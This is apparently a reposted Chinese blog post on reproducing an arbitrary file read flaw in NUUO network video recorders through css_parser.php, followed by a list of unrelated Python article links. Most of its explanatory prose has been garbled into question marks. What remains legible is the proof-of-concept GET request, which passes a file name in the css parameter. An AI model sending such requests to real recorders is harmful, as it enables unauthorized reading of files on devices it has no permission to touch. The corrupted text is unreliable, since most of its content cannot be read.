NUUO网络视频录像机 css_parser.php 任意文件读取漏洞复现-白红宇

NUUO网络视频录像机 css_parser.php 任意文件读取漏洞复现

阅读量：805 次

发布时间：2023-02-17

本文共 764 字，大约阅读时间需要 2 分钟。

0x01 NUUO???????????

NUUO????????Network Video Recorder???NVR??NUUO Inc.???????????????????????????????????????????????????????IP????????????????????????????????????NUUO NVR??????????????????????????

0x02 ????

???????????????????css_parser.php???????????????????????????????????????????????????????????????????????????????????

0x03 ??????

????????????????

????????URL??GET?????????

GET /css_parser.php?css=css_parser.php HTTP/1.1

??????????????????User-Agent??????

Host: www.nuuo.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:xx.xx.xx) Gecko/20100101 Firefox/xx.xx

0x04 ????

?????????PoC?Proof of Concept?????????????

GET /css_parser.php?css=css_parser.php HTTP/1.1  Host: www.nuuo.com

??????????css_parser.php???????????????????????????????????????

转载地址：http://hwnfk.baihongyu.com/

你可能感兴趣的文章

python语言有哪些优点和缺点_Python有哪些优缺点，你了解吗?

查看>>

Python 从入门到精通：30天速成教程到底有多狠？你能坚持下来吗？

查看>>

Python 从数据库中存储和检索密码的最安全方法

Python 余弦相似度与皮尔逊相关系数计算

查看>>

python 使用execjs 报编码错误解决办法，UnicodeDecodeError: ‘gbk‘ codec can‘t decode byte 0xac in position 145: il

查看>>

python 使用filetype校验文件

查看>>

Python 使用flush函数将缓冲区数据立即写磁盘

查看>>

python 使用in判断不准确，in不好使

查看>>

Python 使用pandas 进行查询和统计详解

查看>>

Redis 配置文件redis.conf详细解释

查看>>

python网络爬虫（2）——scrapy框架的基础使用

查看>>

python网络爬虫实例教程试读_Python网络爬虫实战教程（全套完整版） - 学途无忧网 - 做技术的王者 - Powered By EduSoho...

查看>>

Python 使用哈希函数用于加密

查看>>

Python 依赖管理的革新——Poetry 深度解析

查看>>

python 保留精度及增加去除数字的千位分隔符（金额化数字）

查看>>

python 倒计时 9，8，7，。。。。。。0

查看>>